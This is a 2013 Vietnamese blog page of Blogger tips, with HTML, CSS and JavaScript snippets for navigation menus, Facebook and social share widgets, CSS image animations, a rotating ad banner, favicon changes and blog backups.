#btrix-nav li a:hover {cursor: pointer;}
#btrix-nav li a:hover img {top: -85px;}
#btrix-nav li a:hover .aname {top: 85px;}
#btrix-nav li:nth-child(1) a {background: #3eb006;border-radius: 5px 0 0 5px;border-left: 1px solid #bbb;}
#btrix-nav li:nth-child(2) a {background: #9bc704;}
#btrix-nav li:nth-child(3) a {background: #0dc3ff;}
#btrix-nav li:nth-child(4) a {background: #51a2ec;}
#btrix-nav li:nth-child(5) a {background: #6e3cab;border-radius: 0 5px 5px 0;border-right: 1px solid #555;}

HTML

<div id="btrix-nav">
<li>
<a href="http://www.itviet360.com/"><span class="aname">Homes</span>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5t2wQEMW4aqkC2oK-NIhEVF9yaO7mLYXt2pcShkWxnEgIRbGzpAs5lq5-AWgaJFEr7Kc5e7zksnajmAFDXIPxr7THzng9Qf7wsn9eP_SjrbnqxUc2w-hcP0-Z7FNMqI0iJlXuLOBCR1s/s1600/btrix-home.png" />
</a>
</li>

<li>
<a href="http://www.itviet360.com/search/label/Download">
<span class="aname">Download</span>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiE79k_OwcrSWXp_bKRzo8PDwuZAX0AB-mTwBj0ITJpsbIphnHXkc71Lj7SU5zcUQv7nKDSVA_-PcnPotkcOQwhPIOLU4GvSRH1o9mtedQl6cgOAv-NwO5IMaxS_MqpUvzUAdjl1FOnxH0/s1600/btrix-download.png" />
</a>
</li>

<li>
<a href="http://www.itviet360.com/p/dich-vu-seo-web-gia-re-giai-phap-tot.html">
<span class="aname"> dvSEO</span>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5NLHOEonyOJwa4A5ztpE-0ZczwGLEc2dXKgZqhyphenhyphenucAswUTmN1Km5c2k2tjp7p2YM50Izx_gRcRrQ9ncFcVMNxn_l6yFn0n9UuRDFfGa5m0RTRuFIkFfHd0S9wP3TpL4LLJJ3VjQMfeoo/s1600/btrix-mysql.png" />
</a>
</li>

<li>
<a href="http://www.itviet360.com/search/label/html-css">
<span class="aname"> Html</span>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjW4uYx265FUjgNdiAsYU9KzYall30qDtBlwLlYOe7E_TlbxfqnNJTZpnL2Tr2LpWDxlfEvyO_rD4FvkufeNKFIIUTXoBt6uLbGYstbjMe0oaK7TzFzmNh_sykDO3bE8T-jDqQkzrtXzjE/s1600/Btrix-html.png" />
</a>
</li>

<li>
<a href="http://www.itviet360.com/p/phong-vu-seo.html">
<span class="aname">Contact</span>
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN9td-wEUKTjgW2YGKRW-m8H5FBjLgj7diMKg7U8XqzaebDm0-rdd-F9ZMlQ1pB_5qBgpQeZypMy_6lPtSzNzpCQcoZ95H4RWRhjWLiH43cQKOO5FdJ6eV8OIJuvFZz8pwkfOe0WgSy_g/s1600/btrix-contact.png" />
</a>
</li>
</div>

- Những giá trị mình bôi các bạn thay bằng của riêng mình nhé
2. Hướng dẫn trên Blogspot
- Vào bảng điều khiển blogger -> Mẫu (Template) -> chỉnh sửa HTML (Edit HTML)
- Tìm tới đoạn code ]]></b:skin>  và dán Code CSS lên trước nó và lưu mẫu lại
- Vào bố cục (Layout) -> Thêm tiện ích (Add a Widget) -> HTML/Javascript
- Dán code HTML vào tiện ích vừa thêm và lưu lại

10/2/13

Cách tăng Like Page Facebook, link G+ code sử dụng cho blog, Website

Có nhiều hình thức để làm tăng Like Page Facebook, tăng theo dõi G+,...hoặc các bạn muốn bài viết của mình được nhiều Like hơn...
- Đối với tất cả mã nguồn Website khác nhau thì việc thêm code để làm tăng Like cho link trang FB, link Website,...thì giống nhau. Bài viết này itviet360 chia sẻ với bạn code đó và phân tích sơ qua về lợi - hại của nó.
Cách tăng Like Page Facebook, link G+ code sử dụng cho blog, Website
Cách tăng Like Page Facebook, link G+ code sử dụng cho blog, Website
Demo tại bài viết: template mxfluity responsive blogspot
Phân tích:
Cái lợi:
- Tăng Like Facebook, tăng G+, twitter
- Tăng Traffic tới Website, blog, Page FB,...
Cái hại:
- ^_^ khó chịu với người xem bài viết 1 xíu
Cách làm thủ thuật này. Mình làm trên Blogspot, Website thì các bạn làm tương tự cũng như hướng dẫn
1. Vào bảng điều khiển Blogger -> mẫu (Template) -> Chỉnh sửa HTML (Edit HTML)
2. Dán đoạn code dưới đây ngay trên thẻ đóng </head>
<link href='http://diendan.itviet360.com/js/likeblog.css' rel='stylesheet' type='text/css'/>

3. Tiếp theo khi viết bài cho Web hoặc blog, bạn chỉ cần dán đoạn mã dưới đây




Trong đó:
- Link: http://www.itviet360.com/p/dich-vu-seo-web-gia-re-giai-phap-tot.html là link các bạn muốn like. Nếu là Page FAcebook thì các bạn thay bằng link Page FB nhé: https://www.facebook.com/itviet360
- Con số ID: 374631889294427 này các bạn có thể sử dụng của mình nếu các bạn không rành về  App của Facebook hoặc bạn có thể tạo theo hướng dẫn ở bài viết này: Thêm facebook recommendations bar cho blogspot

9/9/13

Template MXfluity - Mẫu thiết kế responsive dành cho blogspot

Như đã giới thiệu 1 bài về template responsive blogspot và ưu điểm của nó ở bài viết Template responsive đẹp cho blogspot. Bài viết này itviet360 tiếp tục chia sẻ đến người dùng Blogspot 1 mẫu thiết kế responsive rất đẹp dành cho blogspot
Template MXfluity - Mẫu thiết kế responsive dành cho blogspot
Template MXfluity - Mẫu thiết kế responsive dành cho blogspot
Demo mẫu tại Blog: Wallpapers hd
Download template:



Hướng dẫn dẫn cài đặt:
- Chỉ có phần menu là các bạn thay đổi link thành của mình tùy chọn nhé
nó là đoạn code này:

<ul id='navinti'>
<li><a expr:href='data:blog.homepageUrl'>Home</a></li>
<li><a href='#'>About</a></li>
<li><a href='#'>Archive</a></li>
<li><a href='#'>Comments</a></li>
<li class='dgnsub'><a href='#'>With Sub Menu</a>
<ul class='sub-menu hidden'>
<li><a href='#'>Sub Menu</a></li>
<li><a href='#'>Sub Menu</a></li>
<li><a href='#'>Sub Menu</a></li>
<li><a href='#'>Sub Menu</a></li>
</ul>
</li>
</ul>

Chúc các bạn vui vẻ !

9/5/13

Thủ thuật thêm Facebook Recommendations Bar cho blogspot

Bạn cũng có thể thích? - đó là 1 ứng dụng của Facebook Recommendations Bar cho phép người tạo ứng dụng đưa về Website, blog của mình. Với loại ứng dụng này thì Web bạn sẽ được nhiều lợi thế tăng lượng View, hướng người dùng tới những bài viết được xem nhiều...
- Bài viết này itviet360 chia sẻ với bạn Thủ thuật thêm Facebook Recommendations Bar cho blogspot
Thủ thuật thêm Facebook Recommendations Bar cho blogspot
Thủ thuật thêm Facebook Recommendations Bar cho blogspot
Mình làm Demon mới trên Blog thủ thuật vui
Yêu cầu:
- Có 1 tài khoản Facebook đã được xác thực (tài khoản FB được xác nhận qua số điện thoại, hiện tại Facebook khá chập chờn với việc gửi tin nhắn về SDT, mình chỉ nghe thoáng qua là sử dụng mạng Vinaphone có vẻ thành công hơn Viettel và MobiFone)
- Nếu tài khoản chưa được xác thực qua Mobile thì khi thực hiện tạo App, FB sẽ yêu cầu bạn.
Các bước làm thủ thuật
1. Đăng nhập vào Facebook và truy cập tranghttps://developers.facebook.com/apps/
Bấm vào "Tạo ứng dụng mới"
Thủ thuật thêm Facebook Recommendations Bar cho blogspot, thu thuat vui
Thủ thuật thêm Facebook Recommendations Bar cho blogspot
Nhập Capcha và tiếp tục
Thủ thuật thêm Facebook Recommendations Bar cho blogspot
Thủ thuật thêm Facebook Recommendations Bar cho blogspot
Chúng ta đã tạo xong App
2. Đưa App vào Website hoặc Blogspot
Đây là thông tin App đã tạo. Bạn hãy nhớ lấy APP ID mình đã khoanh đỏ nhé, lát nữa mình dùng tới nó

2.1 Chỉnh sửa trong Blogger để đưa APP đó vào
- Vào bảng điều khiển Blogger -> mẫu (Template) -> Chỉnh sửa HTML (Edit HTML)
- Tìm tới  và thay thế <html (ngay ở những dòng đầu tiên) và thay thế nó bằng <html xmlns:fb='http://ogp.me/ns/fb#' 
- Dán đoạn code dưới đây vào sau thẻ <body>

<div id='fb-root'/>
<script>
//<![CDATA[

(function(d, s, id) {
var js, fjs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)) return;
js = d.createElement(s); js.id = id;
js.src = "//connect.facebook.net/en_US/all.js#xfbml=1&appId=ID-APP";
fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'facebook-jssdk'));

//]]>
</script>
<b:if cond='data:blog.pageType == "item"'><b:if cond='data:blog.pageType != "static_page"'>
<div style='z-index:999999; position:absolute;'>
<fb:recommendations-bar action='like' max_age='0' num_recommendations='3' read_time='10' side='right' site='http://thuthuat-vui.blogspot.com/' trigger='40%'/></div>
</b:if></b:if>


Trong đó
ID-APP: thay bằng con số mình đã lưu ý khoanh đỏ ở trên
num_recommendations='3' : Số lượng hiển thị Recommendations là 3
read_time='10': Thời gian 10s thì Recommendations sẽ hiển thị nhắc
side='right': hiển thị góc bên phải trình duyệt
trigger='40%': Tỷ lệ thanh cuộn trình duyệt kéo xuống thì Recommendations mới bật lên
Địa chỉ URL http://thuthuat-vui.blogspot.com các bạn thay bằng Blog của mình
LƯU MẪU LẠI VÀ XEM KẾT QUẢ. NẾU ĐỂ CÁC CON SỐ NHƯ DEMO THÌ BẠN KÉO TRÌNH DUYỆT XUỐNG KHOẢNG 50% VÀ CHỜ 10S NHÉ
- Nếu muốn Facebook Recommendations Bar hiển thị ở tất cả các trang thì bỏ đoạn mình bôi tím đi nhé
PS: Nếu acc FAcebook của bạn không xác nhận được bằng SDT thì có thể để lại comment, mình tạo App cho bạn để lấy số ID-APP

9/2/13

Template Shop bán hàng Online cho Blogspot - Blogger đẹp

Khi đến với blogspot, bạn lo ngại vì nó không có nhiều chức năng như bạn mong muốn. 
Nhiều Blogger đã sử dụng Blog của mình như 1 gian hàng online cho mình nhưng lại không kiếm được Template Shop bán hàng Online cho Blogspot phù hợp
- Bài viết này itviet360 chia sẻ với bạn mẫu temp khá hấp dẫn cho bán hàng Online. Bạn sẽ có trong tay mình 1 gian hàng online như ý muốn
Template Shop bán hàng Online cho Blogspot - Blogger đẹp
Template Shop bán hàng Online cho Blogspot - Blogger đẹp

- Bạn xem Demo TẠI ĐÂY (Để thấy được ưu điểm của nó)
- Download Template:



- Đánh giá mẫu này:
+ Hiệu ứng đẹp, phù hợp với 1 gian hàng trưng bày
+ Template khá chuẩn SEO
+ Menu đa chức năng
...
Chúc các bạn có gian hàng riêng thật đẹp

8/30/13

Template Hài VL cho blogspot - Haivl blogger

Bạn có biết tới site haivl.com? Bạn muốn Blogger của mình giống dạng như thế?
Haivl đã không còn xa lạ với bạn. Mẫu thiết kế của haivl cũng khá hợp lý cho 1 site có nội dung như thế
Bài viết này itviet360 chia sẻ mẫu template của Haivl dành cho blogspot. Mẫu này đã được chỉnh sửa và hiện tại đang áp dụng cho site truyện cười tiếu lâm
Template Hài VL cho blogspot - Haivl blogger

Demo trực tiếp tại blog: Truyện cười tiếu lâm
Download template:



Nếu gặp khó khăn gì trong quá trình cài đặt thì hãy để lại comment nhé

8/23/13

Like Facebook, G+, Twitter theo URL trang cho blogspot, Website

Những nút Like và chia sẻ nhỏ gọn và nằm 1 vị trí cố định của Website, blog để người xem blog cảm thấy dễ kiếm hơn. Thêm những button chia sẻ cũng làm tăng lượng truy cập blog của bạn.
Bài viết này itviet360 chia sẻ code và cách làm thêm Like Facebook, G+, Twitter theo URL trang cho blogspot, Website
Like Facebook, G+, Twitter theo URL trang cho blogspot, Website
Like Facebook, G+, Twitter theo URL trang cho blogspot, Website

Demo: URL trang chủ tại blog: Thuốc chữa trị vô sinh
Code của thủ thuật này:

<!-- Huong dan thu thuat:itviet360.com -->
<center>
<style>

.botpost{margin: 0 0 0 10px;width:290px;height:68px;}

.google {float:left;width:290px}
.wdt_button{float:left;margin:5px}
</style>
<div class='botpost'>
<div class='google'>
<div class='wdt_button'><a class='addthis_button_facebook_like' fb:like:layout='box_count'/></a></div>
<div class='wdt_button'><a class='addthis_button_tweet' tw:count='vertical'/></a></div>
<div class='wdt_button'><a class='addthis_button_google_plusone' g:plusone:size='tall'/></a></div>
<div class='wdt_button'><a class='addthis_counter'/></a></div>
</div>
</div>
<script src='http://s7.addthis.com/js/250/addthis_widget.js#username=xa-4d2267003d6799cf' type='text/javascript'/>
<!-- AddThis Button END -->
<!-- Ket thuc chia se moi -->

</script>
</center>

Hướng dẫn thủ thuật trên Blogger
1. Vào bảng điều khiển Blogger -> Bố cục (Layout) -> Thêm tiện ích (Add a Widget) -> HTML/Javascript
2. Dán code phía trên vào tiện ích vừa thêm
3. Lưu lại và xem kết quả nhé :)

8/16/13

Template responsive đẹp cho blogspot [ thuthuat-vui ]

Responsive là 1 kỹ thuật đang được người dùng Website, blog hướng đến. Kỹ thuật responsive cho phép Website, blog của chúng ta hiển thị thích hợp ở kích thước màn hình khác nhau. Điều này thật thuật lợi khi chúng ta xem blog Website ở nhiều thiết bị khác nhau mà không lo bị vỡ giao diện...
Template responsive đẹp cho blogspot, Template responsive

Đối với Blogger, itviet360 cũng đã chia sẻ về mẫu thiết kế responsive thích hợp cho blog hình ảnh đẹp
- Ở bài viết này itviet360 chia sẻ Template responsive đẹp cho blogspot mà hiện tại blog Thuthuat-vui đang áp dụng.
Xem Demo trực tiếp tại Blog: Thủ thuật vui (Các bạn co trình duyệt nhỏ lại để thấy tính năng của responsive nhé)
Tiện ích nổi bật có trong mẫu Blog này:
1. Trang chủ: 
- Footer 3 cột, thể hiện tính chuyên nghiệp của Blog
- Menu đa cấp linh động
- Khung tìm kiếm bắt mắt, khung nhập động
- Xem chế độ hiển thị bài đăng ở 2 dạng cột và thả xuôi
Template responsive đẹp cho blogspot [thuthuat-vui]

2. Trang nhóm:
- Xem chi tiết Label: Thủ thuật internet
3. Trang bài viết
- Xem demo bài viết: Ghép hình trực tuyến
--------------------------------------
Link Download:



8/15/13

Code thay đổi Favicon cho Website, blogspot

Favicon là một biểu tượng nhỏ chúng ta có thể thấy thanh địa chỉ trước link. Chúng ta có thể làm cho nó hiển thị như chúng ta mong muốn.
Với bài viết này, itviet360 chia sẻ với các bạn Code và cách thay đổi Favicon cho Website, blogspot...

Mình có thể tạo ra những hình ảnh để sử dụng làm Favicon nhưng phải chắc chắn nó là hình vuông nhé. Ví dụ 32x32, 100x100...
Đối với mọi nền Website và blog các bạn chỉ cần dán Code dưới đây sau thẻ mở và đóng <title>

<link href='ico file URL images' rel='shortcut icon' type='image/x-icon'/>

Trong đó
ico file URL images: là link hình ảnh bạn muốn đưa vào để hiển thị
- Blogger xem thêm tham khảo bài viết: Thay đổi Favicon cho Blogger

8/14/13

Sử dụng CSS Keyframes hoán đổi hình ảnh

- Đối với hình ảnh thì có nhiều cách để show. Làm cho hình ảnh thể hiện 1 cách sống động và hợp lý hơn cũng là 1 điều cần thiết để hình ảnh đó được chú ý hơn.
Thủ thuật Blogspot hôm nay đưa ra 1 dạng Code CSS Keyframes để sử dụng hoán đổi hình ảnh khá đẹp mắt.
Các bạn có thể xem Demo: TẠI ĐÂY
itviet360 chia sẻ code và hướng dẫn cách làm trên Blogspot. Trên những nền Website khác thì các bạn làm tương tự nhé.
Sử dụng CSS Keyframes hoán đổi hình ảnh

CODE:

<style>
.btcontainer {
position: relative;margin: 30px;height: 250px;width: 550px;float: left;}
/*Photo Border*/
.imagebt1, .imagebt2 {
border: 5px solid #fff;border-radius: 3px;height: 200px;margin: 20px;position: absolute;width: 300px;
-webkit-box-shadow: 3px 3px 3px rgba(0,0,0,0.3);
box-shadow: 3px 3px 3px rgba(0,0,0,0.3);}
.imagebt1 {
-webkit-transform: rotate(-7deg);-moz-transform: rotate(-7deg);-o-transform: rotate(-7deg);-ms-transform: rotate(-7deg);transform: rotate(-7deg);}
.imagebt2 {
left: 100px;-webkit-transform: rotate(7deg);-moz-transform: rotate(7deg);-o-transform: rotate(7deg);-ms-transform: rotate(7deg);transform: rotate(7deg);}
/*HOVERS*/
.btcontainer:hover {
cursor: pointer;}
.btcontainer:hover .imagebt1 {
-webkit-animation: imagebt1 1.5s 2 alternate;-moz-animation: imagebt1 1.5s 2 alternate;-ms-animation: imagebt1 1.5s 2 alternate;-o-animation: imagebt1 1.5s 2 alternate;animation: imagebt1 1.5s 2 alternate;
}
.btcontainer:hover .imagebt2 {
-webkit-animation: imagebt2 1.5s 2 alternate;
-moz-animation: imagebt2 1.5s 2 alternate;
-ms-animation: imagebt2 1.5s 2 alternate;
-o-animation: imagebt2 1.5s 2 alternate;
animation: imagebt2 1.5s 2 alternate;}
@keyframes "imagebt1" {
0% {-webkit-transform: rotate(-7deg);-moz-transform: rotate(-7deg);-o-transform: rotate(-7deg);-ms-transform: rotate(-7deg);transform: rotate(-7deg);
}
50% {-webkit-transform: rotate(-14deg);-moz-transform: rotate(-14deg);-o-transform: rotate(-14deg);-ms-transform: rotate(-14deg);transform: rotate(-14deg);
}
100% {-webkit-transform: rotate(-7deg);-moz-transform: rotate(-7deg);-o-transform: rotate(-7deg);-ms-transform: rotate(-7deg);transform: rotate(-7deg);
}}
@-moz-keyframes imagebt1 {
0% {
-moz-transform: rotate(-7deg);transform: rotate(-7deg);
}
50% {
-moz-transform: rotate(-14deg);transform: rotate(-14deg);
}
100% {
-moz-transform: rotate(-7deg);transform: rotate(-7deg);
}
}
@-webkit-keyframes "imagebt1" {
0% {
-webkit-transform: rotate(-7deg);transform: rotate(-7deg);
}
50% {
-webkit-transform: rotate(-14deg);transform: rotate(-14deg);
}
100% {
-webkit-transform: rotate(-7deg);transform: rotate(-7deg);
}
}
@-ms-keyframes "imagebt1" {
0% {-ms-transform: rotate(-7deg);transform: rotate(-7deg);
}
50% {-ms-transform: rotate(-14deg);transform: rotate(-14deg);
}
100% {-ms-transform: rotate(-7deg);transform: rotate(-7deg);
}
}
@-o-keyframes "imagebt1" {
0% {-o-transform: rotate(-7deg);transform: rotate(-7deg);
}
50% {-o-transform: rotate(-14deg);transform: rotate(-14deg);
}
100% {-o-transform: rotate(-7deg);transform: rotate(-7deg);
}
}
@keyframes "imagebt2" {
0% {
left: 100px;z-index: 1;-webkit-transform: rotate(7deg);-moz-transform: rotate(7deg);-o-transform: rotate(7deg);-ms-transform: rotate(7deg);transform: rotate(7deg);
}
49% {
left: 350px;z-index: 1;-webkit-transform: rotate(20deg);-moz-transform: rotate(20deg);-o-transform: rotate(20deg);-ms-transform: rotate(20deg);transform: rotate(20deg);
}
50% {
left: 350px;z-index: -3;-webkit-transform: rotate(20deg);-moz-transform: rotate(20deg);-o-transform: rotate(20deg);-ms-transform: rotate(20deg);transform: rotate(20deg);
}
100% {
left: 100px;z-index: -3;-webkit-transform: rotate(7deg);-moz-transform: rotate(7deg);-o-transform: rotate(7deg);-ms-transform: rotate(7deg);transform: rotate(7deg);
}
}
@-moz-keyframes imagebt2 {
0% {left: 100px;z-index: 1;-moz-transform: rotate(7deg);transform: rotate(7deg);
}
49% {
left: 350px;z-index: 1;-moz-transform: rotate(20deg);transform: rotate(20deg);
}
50% {
left: 350px;z-index: -3;-moz-transform: rotate(20deg);transform: rotate(20deg);
}
100% {
left: 100px;z-index: -3;-moz-transform: rotate(7deg);transform: rotate(7deg);
}
}
@-webkit-keyframes "imagebt2" {
0% {left: 100px;z-index: 1;-webkit-transform: rotate(7deg);transform: rotate(7deg);
}
49% {
left: 350px;z-index: 1;-webkit-transform: rotate(20deg);transform: rotate(20deg);
}
50% {left: 350px;z-index: -3;-webkit-transform: rotate(20deg);transform: rotate(20deg);
}
100% {left: 100px;z-index: -3;-webkit-transform: rotate(7deg);transform: rotate(7deg);
}
}
@-ms-keyframes "imagebt2" {
0% {left: 100px;z-index: 1;-ms-transform: rotate(7deg);transform: rotate(7deg);
}
49% {left: 350px;z-index: 1;-ms-transform: rotate(20deg);transform: rotate(20deg);
}
50% {left: 350px;z-index: -3;-ms-transform: rotate(20deg);transform: rotate(20deg);
}
100% {left: 100px;z-index: -3;-ms-transform: rotate(7deg);transform: rotate(7deg);
}
}
@-o-keyframes "imagebt2" {
0% {left: 100px;z-index: 1;-o-transform: rotate(7deg);transform: rotate(7deg);
}
49% {left: 350px;z-index: 1;-o-transform: rotate(20deg);transform: rotate(20deg);
}
50% {left: 350px;z-index: -3;-o-transform: rotate(20deg);transform: rotate(20deg);
}
100% {left: 100px;z-index: -3;-o-transform: rotate(7deg);transform: rotate(7deg);
}
}
</style>

<div class="btcontainer">
<img class="imagebt1" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEis8EDUfvoR2zoeDVa7fDhVhpfG94MSvMktfoQI6DwzE19Pv66VhupWcmluqIObPVY726udyTtEfShcrp0r4JpvTd6IgRrp9jnEKH_zi_3R8FH3s9cB_V-p4GHsJX384lW41wlr8Jxh-fs/s1600/image1bt.jpg" alt="">
<img class="imagebt2" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi19QIDAlLt0StbjeycY8zUw0vU0rr_89QnXJdsUbZtjKnMnbcPHVkMmStj5P3-LDhUYvy3cZIU8Xfw4rstvwXc9LAav3IR9bD3ToIZzg5f1UvA9hqvVff3T3D-det_IgXhuCAn_eauPAE/s1600/image2bt.jpg" alt="">
</div>

CÁCH LÀM TRÊN bLOGSPOT
1. Vào bảng điều khiển Blogger -> Bố cục (Layout) -> Thêm tiện ích (Add a Widget) -> HTML/Javascript
2. Dán Code trên vào tiện ích vừa thêm
3. Lưu lại và xem kết quả nhé :)

8/10/13

Thêm Social Bookmark động cho blogspot, Website

Social Bookmark - Mạng lưới truyền thông luôn là những điều quan trọng để Website, Blog có được nguồn Traffic lớn. Bạn đọc yêu thích Blog của bạn có thể dễ dàng chia sẻ bài viết Blog, Website của bạn để bạn bè cùng biết tới...
Có nhiều bài viết về thủ thuật mà itviet360 đã chia sẻ những Social Bookmark hợp lý. Bài viết này itviet360 chia sẻ thêm 1 Social Bookmark auto chạy theo thanh cuộn khi chúng ta kéo xuống. Điều này tạo cho người đọc luôn thấy sự chia sẻ khi vào blog, Website của bạn...
Social Bookmark

Hướng dẫn thủ thuật (trên Blogspot, với Website mã nguồn khác các bạn dán code tương tự)
1. Vào bảng điều khiển Blogspot -> Mẫu (Template) -> Chỉnh sửa HTML (Edit HTML)
2. (Ctrl +F) tìm tới thẻ đóng </head> và dán code dưới đây trên nó
Code:

<script src='http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js' type='text/javascript'/>
<script language='javascript'>
var name = "#floatMenu";
var menuYloc = null;
$(document).ready(function(){menuYloc =
parseInt($(name).css("top").substring(0,$(name).css
("top").indexOf("px")))
$(window).scroll(function () { offset = menuYloc+$(document).scrollTop()+"px";$(name).animate({top:offset},{duration:1000,queue:false});});});
#floatMenu {
position:absolute;top:150px;float:left;width:45px;}
#floatMenu ul {list-style: none;}
#floatMenu ul li a {-webkit-transform:scale(0.6);-moz-transform:scale(0.6);-o-transform:scale(0.6);-webkit-transition-duration: 0.5s;-moz-transition-duration: 0.5s;-o-transition-duration: 0.5s;opacity: 0.8;}
#floatMenu ul li a:hover {-webkit-transform:scale(1);-moz-transform:scale(1);-o-transform:scale(1);opacity: 1;}
</style>

3. (Ctrl + F) tìm tới </body> và dán code dưới đây trên nó

<div id="floatMenu">
<ul>
<li><a href="http://facebook.com/itviet360" target="_blank"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxSXGp7k85VnJ6x1hfaTRBMjap66ccROQb14eI9ybJC3dQ9Osbe8e-yGCN1H3eFcTnw3VS1b3Sw0S9T41EKgszBz3HvwipJsaEHu781X4l0U16pw0dBCkERu6St5sxrXw-rAvFagDRQfc/s1600/btrix-facebook.png" style="margin-bottom: 3px;" title="Follow Me On Facebook" /></a></li>
<li><a href="http://twitter.com/phongvu18nd" target="_blank"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjY8695L-rIJpRsgq1iXy2Vjhpm5ilVI5zsMEHT46j81qFL6DmYcHYVdKYqbHoHJV2FukDyVi8tU6ajGw3qjv4-JYtg1SrRIpsjGLYkxBQU-6vPxszrdzxMJEPtSf0j2_wCX46k49vwBeg/s1600/btrix-twitter.png" style="margin-bottom: 3px;" title="Follow Me On Twitter" /></a></li>
<li><a href="https://plus.google.com/117290973503680239179" target="_blank"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZBRt60YYkTURRRGSR_LlaiOCTcYTEIyuw09gz2RlZo-WZDeVES7y_UIOobl6gMjdM_IuIM1bMV5J0Ro9Rd8gOFQLk4Ot3jFr1JtBLFT1iZEOx1mDNkDunAxKTWzMGIr7amXyIzXY4YsU/s1600/btrix-googleplus.png" style="margin-bottom: 3px;" title="Add Me your Circle" /></a></li>
</ul>
</div>

Trong đó:
Các giá trị bôi vàng là những giá trị riêng của bạn
- Bạn cũng có thể thêm nhiều hơn Social Bookmark với việc thêm đoạn mã màu xanh

8/3/13

Tạo banner quảng cáo hiển thị luôn phiên cho Blogspot, Web

Làm thế nào để hiển thị quảng cáo gọn nhẹ mà chứa được nhiều quảng cáo? Hướng dẫn cho mình cách tạo quảng cáo hiển thị thay phiên nhau trên Website, Blogspot...
- Hiển thị quảng cáo luôn phiên nhau là 1 điều Hợp lý đối với Website, Blog nào còn ít chỗ trống. Bài viết này itviet360 giới thiệu tới các bạn Code Javascript cho quảng cáo của bạn trở nên gọn nhẹ và sinh động hơn...
Quảng cáo, hien thi quang cao, Advertising

Demo tại Blog (theo yêu cầu):  Hình ảnh đẹp
- Ở đây itviet360 có 3 hình ảnh tương ứng với 3 link:
1. Link: Dịch vụ SEO Web giá rẻ
2. Link: Tải game miễn phí
3. Link: Tải game Avatar
Tương với với 3 hình ảnh (ở Code dưới)
Code:
<script type="text/javascript">
// Banner Rotation Script by Bloggerism
var ban = new Array();
var link = new Array();
var index = 0;
ban[0] = new Image();
ban[0].src = "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiA9G7c60gruTYb0Me2BhehcXm9seH9Rpy57Hylam1NY8f1Zw4WEAUiAD53rzNBeHAVxORGKf4NuqBsE9WZnBZPW9AaVZXHQ-POtmKy7QLMgViHfHpRfTprjdeTKueCW1jQbAcrtsI6Zewt/s1600/seo-gia-re.gif";
link[0] = "http://www.itviet360.com/p/dich-vu-seo-web-gia-re-giai-phap-tot.html";
ban[1] = new Image();
ban[1].src = "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGN0CgOQDlJAwwTPqPlDoEQtROJVBxTxwBM4vrs_TZY5dCExP07DCOFl3kY_HuO-JOAP7wJ-ClPOk0H3VIUOCiwq7Ksh_0M3y3Vp9UMcYPcbeT3rmDIE3Xop3swCEW6Mjwhi0f5DS9gQNP/s1600/taigame2-logo.png";
link[1] = "http://taigame2.blogspot.com";
ban[2] = new Image();
ban[2].src = "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5k4pZtH4QHGi9PM1CeXxDt_rk_VhqWm4VaT3JtzP0hpGdl25DS41y0LmsERcuS4a89PDERo7Z4LN2y-bSLY-x8KQyHfUulAMtfqx7nywEWYtGE2T02L40NqktN6alIkpBFQZSUo310ei8/s1600/banner-avatar-1.gif";
link[2] = "http://www.itviet360.com/2013/07/tai-game-avatar-222-cho-dien-thoai-android-ios.html";
index = Math.random() * (ban.length);
index = Math.floor(index);
function rotator()
{if (index == ban.length) index = 0;
if (document.images) {
document.images.rotation.src = ban[index].src;
}
else {
document.getElementById('rotation').src=ban[index].src;
}
index++;
setTimeout('rotator()',3000);
}
function go() {window.open(link[index-1]);}
</script>
<img id="rotation" style="cursor:pointer;" src="" onclick="go();"/>
<script type="text/javascript">rotator();</script>
- Hướng dẫn làm thủ thuật trên Blogspot
1. Vào bảng điều khiển Blogger -> bố cục (layout) -> thêm tiện ích (Add a widget) -> HTML/Javascript
2. Dán Code trên vào tiện ích vừa thêm :) và lưu lại xem kết quả

Cách sao lưu, phục hồi, import dữ liệu cho blogspot

Làm thế nào để lưu lại được dữ liệu blogspot của mình. Làm thế nào để import dữ liệu vào trong Blogspot...
Khi Download 1 số Template blogger thì 1 số bạn có chia sẻ cả File cơ sở dữ liệu nên các bạn thường gặp rắc rối trong vấn đề đưa dữ liệu.
- Bài viết này itviet360 chia sẻ hướng dẫn cách Cách sao lưu, phục hồi, import - export dữ liệu cho blogspot
import, export


1. Cách sao lưu dữ liệu blogspot
Vào bảng điều khiển Blogger -> Cài đặt -> Khác
Để xuất dữ liệu Blog chúng ta chọn: Xuất Blog (mặc định xuất ra File dữ liệu *.XML)
Để nhập liệu Blog chúng ta chọn: Nhập Blog
- Dữ liệu Blog của mình khi xuất ra có thể import vào bất kỳ blog nào khác, tuy nhiên 1 nội dung được Google đánh giá là Spam và sẽ trừng trị blog đó nếu nội dung đó là trùng lặp